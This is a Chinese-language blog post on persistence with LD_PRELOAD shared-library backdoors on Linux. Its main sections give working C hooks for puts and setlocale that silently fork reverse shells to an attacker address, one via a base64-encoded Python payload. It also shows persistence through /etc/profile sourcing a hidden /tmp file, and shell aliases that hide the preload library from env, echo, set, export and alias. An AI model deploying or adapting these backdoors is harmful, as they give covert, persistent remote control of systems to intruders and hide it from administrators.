HacKerQWQ的博客空间

权限维持之LD_PRELOAD动态链接库后门

Word count: 4.5kReading time: 20 min
2022/01/10 Share

LD_PRELOAD后门简介

在Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LDPRELOAD环境变量和默认配置文件**/etc/ld.so.preload**,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LDPRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,这样就导致了动态链接库文件可以被当做后门使用.

LD_PRELOAD读取顺序:

1
LD_PRELOAD -> /etc/ld.so.preload -> DT_RPATH(编译指定) -> LD_LIBRARY_PATH -> [/etc/ld.so.conf] -> /lib -> /usr/lib
  • /etc/ld.so.nohwcap 这个文件如果存在,可以禁止加载优化的库,不需要写任何内容 如果存在此文件,则动态链接程序将加载库的非优化版本,即使CPU支持优化版本也是如此。

参考链接:https://cloud.tencent.com/developer/article/1835020

这个作者太腻害了,学习学习

前置知识

ltrace

ltrace的功能是能够跟踪进程的库函数调用,它会显现出哪个库函数被调用。功能相同的还有strace.

安装命令

1
yum install ltrace

帮助命令如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[root@167bd328a8bb /]# ltrace --help
Usage: ltrace [option ...] [command [arg ...]]
Trace library calls of a given program.

-a, --align=COLUMN align return values in a secific column.
-A MAXELTS maximum number of array elements to print.
-b, --no-signals don't print signals.
-c count time and calls, and report a summary on exit.
-C, --demangle decode low-level symbol names into user-level names.
-D, --debug=MASK enable debugging (see -Dh or --debug=help).
-Dh, --debug=help show help on debugging.
-e FILTER modify which library calls to trace.
-f trace children (fork() and clone()).
-F, --config=FILE load alternate configuration file (may be repeated).
-h, --help display this help and exit.
-i print instruction pointer at time of library call.
-l, --library=LIBRARY_PATTERN only trace symbols implemented by this library.
-L do NOT display library calls.
-n, --indent=NR indent output by NR spaces for each call level nesting.
-o, --output=FILENAME write the trace output to file with given name.
-p PID attach to the process with the process ID pid.
-r print relative timestamps.
-s STRSIZE specify the maximum string size to print.
-S trace system calls as well as library calls.
-t, -tt, -ttt print absolute timestamps.
-T show the time spent inside each call.
-u USERNAME run command with the userid, groupid of username.
-V, --version output version information and exit.
-w, --where=NR print backtrace showing NR stack frames at most.
-x FILTER modify which static functions to trace.

常见用法:

  • 直接查看二进制可执行文件调用的链接库

    1
    ltrace id

    image-20220110094948104

    • 也可以加上-p参数对进程进行追踪

strace

strace的用法跟ltrace相似,主要用于跟踪进程的系统调用或信号产生的情况

参数列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
-c 统计每一系统调用的所执行的时间,次数和出错的次数等. 
-d 输出strace关于标准错误的调试信息.
-f 跟踪由fork调用所产生的子进程.
-ff 如果提供-o filename,则所有进程的跟踪结果输出到相应的filename.pid中,pid是各进程的进程号.
-F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.
-h 输出简要的帮助信息.
-i 输出系统调用的入口指针.
-q 禁止输出关于脱离的消息.
-r 打印出相对时间关于,,每一个系统调用.
-t 在输出中的每一行前加上时间信息.
-tt 在输出中的每一行前加上时间信息,微秒级.
-ttt 微秒级输出,以秒了表示时间.
-T 显示每一调用所耗的时间.
-v 输出所有的系统调用.一些调用关于环境变量,状态,输入输出等调用由于使用频繁,默认不输出.
-V 输出strace的版本信息.
-x 以十六进制形式输出非标准字符串
-xx 所有字符串以十六进制形式输出.
-a column
设置返回值的输出位置.默认 为40.
-e expr
指定一个表达式,用来控制如何跟踪.格式如下:
[qualifier=][!]value1[,value2]...
qualifier只能是 trace,abbrev,verbose,raw,signal,read,write其中之一.value是用来限定的符号或数字.默认的 qualifier是 trace.感叹号是否定符号.例如:
-eopen等价于 -e trace=open,表示只跟踪open调用.而-etrace!=open表示跟踪除了open以外的其他调用.有两个特殊的符号 all 和 none.
注意有些shell使用!来执行历史记录里的命令,所以要使用\\.
-e trace=set
只跟踪指定的系统 调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.
-e trace=file
只跟踪有关文件操作的系统调用.
-e trace=process
只跟踪有关进程控制的系统调用.
-e trace=network
跟踪与网络有关的所有系统调用.
-e strace=signal
跟踪所有与系统信号有关的 系统调用
-e trace=ipc
跟踪所有与进程通讯有关的系统调用
-e abbrev=set
设定 strace输出的系统调用的结果集.-v 等与 abbrev=none.默认为abbrev=all.
-e raw=set
将指 定的系统调用的参数以十六进制显示.
-e signal=set
指定跟踪的系统信号.默认为all.如 signal=!SIGIO(或者signal=!io),表示不跟踪SIGIO信号.
-e read=set
输出从指定文件中读出 的数据.例如:
-e read=3,5
-e write=set
输出写入到指定文件中的数据.
-o filename
将strace的输出写入文件filename
-p pid
跟踪指定的进程pid.
-s strsize
指定输出的字符串的最大长度.默认为32.文件名一直全部输出.
-u username
以username 的UID和GID执行被跟踪的命令

gcc

GCC是GNU 编译器集合,GNU Compiler Collection 包括CC++、Objective-C、Fortran、Ada、Go 和 D 的前端 ,以及这些语言的库(libstdc++,…)。

安装命令

1
yum -y install gcc gcc-c++ kernel-devel //安装gcc、c++编译器以及内核文件 

常见参数及用法

选项 解释
-ansi 只支持 ANSI 标准的 C 语法。这一选项将禁止 GNU C 的某些特色, 例如 asm 或 typeof 关键词。
-c 只编译并生成目标文件。
-DMACRO 以字符串”1”定义 MACRO 宏。
-DMACRO=DEFN 以字符串”DEFN”定义 MACRO 宏。
-E 只运行 C 预编译器。
-g 生成调试信息。GNU 调试器可利用该信息。
-IDIRECTORY(大写I) 指定额外的头文件搜索路径DIRECTORY。
-LDIRECTORY 指定额外的函数库搜索路径DIRECTORY。
-lLIBRARY(小写L) 连接时搜索指定的函数库LIBRARY。
-m486 针对 486 进行代码优化。
-o FILE 生成指定的输出文件。用在生成可执行文件时。
-O0 不进行优化处理。
-O 或 -O1 优化生成代码。
-O2 进一步优化。
-O3 比 -O2 更进一步优化,包括 inline 函数。
-shared 生成共享目标文件。通常用在建立共享库时。
-static 禁止使用共享连接。
-UMACRO 取消对 MACRO 宏的定义。
-w 不生成任何警告信息。
-Wall 生成所有警告信息。
-fPIC 告诉编译器产生与位置无关代码(Position-Independent Code)
-D_GNU_SOURCE 意味着编译器将使用GNU标准的编译,所有的超集
  • -fPIC参数的解释:产生的代码中,没有绝对地址,全部使用相对地址,故而代码可以被加载器加载到内存的任意位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。如果不加-fPIC,则加载.so文件的代码段时,代码段引用的数据对象需要重定位, 重定位会修改代码段的内容,这就造成每个使用这个.so文件代码段的进程在内核里都会生成这个.so文件代码段的copy

动态编译和静态编译

静态编译将所需要的库添加到程序中,用于适应各个平台,兼容性好,体积大。

动态编译则相反,依赖于所在环境的库,如果所在环境不存在需要的库,则运行出错,优点是体积小,编译快

LD_PRELOAD实验

思路:

  1. 首先创建了一个jaky.c文件,其中调用time方法,然后创建了一个jakylib.c,其中生成了一个time方法供test调用

  2. 编译后用LD_PRELOAD=$PWD/jakylib.so ./jaky劫持了time.

实践:

1
2
3
4
5
6
7
8
9
//jaky.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(){
srand(time(NULL));
return 0;
}
//编译:gcc -o jaky jaky.c
1
2
3
4
5
6
//jakylib.c
#include <stdio.h>
int time(){
printf("hello Jaky");
return 0; //the most random number in the universe
}//编译:gcc -shared -fPIC jakylib.c -o jakylib.so

将环境变量LD_PRELOAD修改为jakylib.so供jaky程序调用

1
export LD_PRELOAD=jakylib.so

查看结果:

image-20220109235730934

成功劫持

LD_PRELOAD实战

思路:

  1. 寻找动态链接的函数
  2. 覆盖这个函数,并且在内部重写
  3. 先把原函数指针赋值给一个变量
  4. 执行我们的代码
  5. 执行原函数
  6. 正常返回值

这里选用whoami进行演示

1
ltrace whoami

image-20220110112241188

准备payload.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

int puts(const char *message) {
//创建新函数new_puts
int (*new_puts)(const char *message);
int result;
//把原函数指针赋值给new_puts
new_puts = dlsym(RTLD_NEXT, "puts");
system("python3 -c \"import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTcyLjE3LjAuMSIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp')))\"");
//调用新函数
result = new_puts(message);
return result;
}

dlsym函数用于从一个共享对象或可执行对象中包含一个符号所对应的地址,编译时需要指定-ldl参数,参考链接:https://blog.csdn.net/Cxinsect/article/details/100761916

image-20220112005232112

其中RTLD_NEXThandle用于从共享库中获取真正的函数,当有多个同名函数被preloading的时候

image-20220112005341592

如下头文件是dlsym必须的

1
2
#define _GNU_SOURCE
#include <dlfcn.h>

python代码解码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os,socket,subprocess;
ret = os.fork()
if ret > 0:
exit()
else:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.17.0.1", 6666))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
except Exception as e:
exit()

编译共享库so

1
2
3
4
//-ldl参数是必须的,原因是使用了dlsym对puts进行了重写
gcc -shared -fPIC -o payload.so -D_GNU_SOURCE -ldl payload.c
//添加LD_PRELOAD环境变量
export LD_PRELOAD=/tmp/payload.so

执行命令

1
whoami

image-20220110113627792

直接修改函数

这种方式虽然简单,但是也破坏了原有的函数,容易暴露

jaky.c

1
2
3
4
5
6
7
8
9
//jaky.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(){
srand(time(NULL));
return 0;
}
//编译:gcc -o jaky jaky.c

动态链接库jakylib.so

1
2
3
4
5
6
//jakylib.c
#include <stdio.h>
int time(){
printf("hello Jaky");
return 0; //the most random number in the universe
}//编译:gcc -shared -fPIC jakylib.c -o jakylib.so

运行

1
LD_PRELOAD=jakylib.so ./jaky

构造函数attribute调用

GCC 有个 C 语言扩展修饰符 attribute((constructor))**,可以让由它修饰的函数在 **main() 之前执行,一旦某些指令需要加载动态链接库时,就会立即执行它。

1
2
3
4
5
6
7
8
9
10
//last.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
printf("i am hacker!!\n");
//system("id");
}

微信图片_20220618205837

插桩式后门

插桩式后门能够hook指定函数,只要命令调用中包含指定函数就会触发,隐蔽性也好

缺点是花费时间多

参考链接:https://tbrindus.ca/correct-ld-preload-hooking-libc/

下载glibc源码

观察fopen实现代码

image-20220914113703103

构造poc

fopen.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

typedef FILE *(*fopen_t)(const char *pathname, const char *mode);
fopen_t real_fopen;

FILE *fopen(const char *pathname, const char *mode) {
fprintf(stderr, "called fopen(%s, %s)\n", pathname, mode);
if (!real_fopen) {
real_fopen = dlsym(RTLD_NEXT, "fopen");
}

return real_fopen(pathname, mode);
}

__attribute__((constructor)) static void setup(void) {
fprintf(stderr, "called setup()\n");
}

编译运行

1
2
gcc -shared -fPIC fopen.c -ldl -D_GNU_SOURCE -o fopen.so
LD_PRELOAD=/tmp/fopen.so ssh

image-20220914114528675

拓展

总结来看插桩式后门效果最好,无声无息且不影响原有程序的可用性,就自己做一个。

问了一圈运维常用命令,想来个通杀的函数Hook,但是每个人的习惯都不太一样,然后手动ltrace发现比起打开文件的fopen更常见的setlocale函数用于设置输出时的编码

more

image-20220914213041258

连ssh都有

image-20220914213156653

那就做一个吧,成果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <locale.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/types.h>
#define ATTACKER_IP "192.168.119.164"
#define ATTACKER_PORT 15638

typedef char *(*setlocale_t)(int category, const char *locale);
setlocale_t real_setlocale;

char *setlocale(int category, const char *locale) {
// fprintf(stderr, "called setlocale(%d, %s)\n", category, locale);
if(fork()==0){
int nochdir = 0;
int noclose = 0;
daemon(nochdir, noclose);
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(ATTACKER_PORT);
sa.sin_addr.s_addr = inet_addr(ATTACKER_IP);
int sockt = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sockt, (struct sockaddr *)&sa, sizeof(sa)) != 0) {
//printf("Segmentation fault");
// printf("[ERROR] connection failed.\n");
return "en_US.UTF-8";
}
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char *const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
// system("echo 'YmFzaCAtaSAmPi9kZXYvdGNwLzE4Mi4xNjAuOS4zNS8xNTYzOCA8JjE='|base64 -d|bash -i");

}
if (!real_setlocale) {
real_setlocale = dlsym(RTLD_NEXT, "setlocale");
return real_setlocale(category, locale);
}

}
  • ATTACKER_IP为反弹ip
  • ATTACKER_PORT为反弹端口
  • 通过fork()创建子进程再创建守护进程反弹shell,不影响正常命令执行

编译

1
gcc -shared -fPIC -ldl -D_GNU_SOURCE -o setlocale.so setlocale.c

生成setlocate.so文件进行LD_PRELOAD动态链接

1
LD_PRELOAD=/tmp/setlocate.so whoami

image-20220915104942827

最后可以通过将LD_PRELOAD写入在/etc/profile等配置文件中进行持久化维权

在/etc/profile中写入

1
2
3
4
# System global API definition
if [ -f /tmp/.bash_resource ]; then
. /tmp/.bash_resource
fi

在/tmp/.bash_resource中写入

1
LD_PRELOAD=/tmp/setlocale.so

参考文章:

  1. Correct usage of LD_PRELOAD for hooking libc functions
  2. Create a simple reverse shell in C/C++

隐藏后门

显示环境变量的命令主要有以下几种

  • echo $LD_PRELOAD
  • env
  • set
  • export
  • cat /proc/$PID/environ

主要采用alias的方式隐藏,以下的命令都是通过将/home/helper/hook.so替换为空来实现的

1
2
3
4
5
6
7
8
9
10
11
12
//隐藏echo
alias echo='func(){ echo $* | sed "s!/home/helper/hook.so! !g";};func'
//隐藏env
alias env='func(){ env $* | grep -v "/home/helper/hook.so";};func'
//隐藏set
alias set='func(){ set $* | grep -v "/home/helper/hook.so";};func'
//隐藏export
alias export='func(){ export $* | grep -v "/home/helper/hook.so";};func'
//劫持unalias
alias unalias='func(){ if [ $# != 0 ]; then if [ $* != "echo" ]&&[ $* != "env" ]&&[ $* != "set" ]&&[ $* != "export" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};func'
//劫持alias
alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'

将其写在以下任意文件即可

1
2
3
4
5
6
/etc/profile
/etc/bashrc
~/.bashrc
~/.bash_profile
~/.bash_login
~/.bash_logout
  • 也可以根据alias后门中的方法一样,嵌入在配置文件中引用的其他配置文件中,增强隐蔽性。

Issues

https://cloud.tencent.com/developer/article/1835020

这篇文章的作者在遇到了这种匪夷所思的问题的时候竟然花了一年时间来学c、汇编语言,换我直接跳过了,太牛了,学习学习。记录下文章中的几个操作。

作者主要是遇到了pwd命令跟whoami命令都是动态编译,但是whoami可以动态链接成功,而pwd却没有任何共享库链接的问题,最后是通过编译pwd源码、readelf查看编译方式、LD_DEBUG查看共享库的使用情况,最后通过type -a确定了是pwd是bash集成的命令与系统中的whoami不同造成的链接恶意库失败。

从源代码编译Linux命令

使用到的源码网站:

安装aptitude(ubuntu/debian)

1
apt-get install aptitude

下载对应coreutil版本的源代码

1
2
aptitude show coreutil
apt-get source coreutils

进入对应coreutils文件夹进行编译

1
2
./configure
make

image-20220110162326863

找到想要编译的c文件,比如我这里找一个whoami.c

添加一个输出的函数

image-20220111092529335

  • 注释掉Version相关语句

编译成二进制文件

1
2
3
4
5
6
gcc -E -I ~/MyCode/coreutils-8.30/lib/ -I ~/MyCode/coreutils-8.30/ -I ~/MyCode/coreutils-8.30/src pwd.c -o pwd.i
//-E 只运行C编译器,-I指定头文件路径
gcc -c pwd.i -o pwd.o
//-c 只编译并生成目标文件
gcc -L ~/MyCode/coreutils-8.30/lib/ -L /usr/lib/ pwd.o -o pwd -lcoreutils -lcrypt
//-L指定额外的函数库搜索路径DIRECTORY,-l连接时搜索指定的函数库LIBRARY。

image-20220110180237753

查看编译方式

1
2
readelf -S
//-S section headers

image-20220111094202758

上图的dynamic表明是动态编译

LD_DEBUG

常见用法:

参数 解释
libs display library search paths
reloc display relocation processing
files display progress for input file
symbols display symbol table processing
bindings display information about symbol binding
versions display version dependencies
scopes display scope information
all all previous options combined
statistics display relocation statistics
unused determined unused DSOs
help display this help message and exit

LD_DEBUG环境变量能够对共享库调用进行 debug,查看程序调用的链接库

1
2
LD_DEBUG=files /bin/whoami
LD_DEBUG=libs /bin/whoami

image-20220111100443610

ldd查看依赖关系

通过ldd可以查看依赖关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[linux@ t0]~$ldd ./a.out 
linux-vdso.so.1 (0x00007ffff7ffb000)
libstdc++.so.6 => /lib64/libstdc++.so.6 (0x00007ffff7a3f000)
libm.so.6 => /lib64/libm.so.6 (0x00007ffff76bd000)
libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00007ffff74a5000)
libc.so.6 => /lib64/libc.so.6 (0x00007ffff70e3000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd4000)

[linux@ t0]~$LD_PRELOAD=./libhook.so ldd ./a.out
linux-vdso.so.1 (0x00007ffff7ffb000)
./libhook.so (0x00007ffff7ff1000) <----- 区别在这里
libstdc++.so.6 => /lib64/libstdc++.so.6 (0x00007ffff7a3f000)
libm.so.6 => /lib64/libm.so.6 (0x00007ffff76bd000)
libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00007ffff74a5000)
libc.so.6 => /lib64/libc.so.6 (0x00007ffff70e3000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd4000)

type -a查看命令来源

1
type -a whoami

image-20220111100524504

参考链接

CATALOG
  1. 1. LD_PRELOAD后门简介
  2. 2. 前置知识
    1. 2.1. ltrace
    2. 2.2. strace
    3. 2.3. gcc
    4. 2.4. 动态编译和静态编译
  3. 3. LD_PRELOAD实验
  4. 4. LD_PRELOAD实战
    1. 4.1. 直接修改函数
    2. 4.2. 构造函数attribute调用
    3. 4.3. 插桩式后门
    4. 4.4. 拓展
    5. 4.5. 隐藏后门
  5. 5. Issues
    1. 5.1. 从源代码编译Linux命令
    2. 5.2. 查看编译方式
    3. 5.3. LD_DEBUG
    4. 5.4. ldd查看依赖关系
    5. 5.5. type -a查看命令来源
  6. 6. 参考链接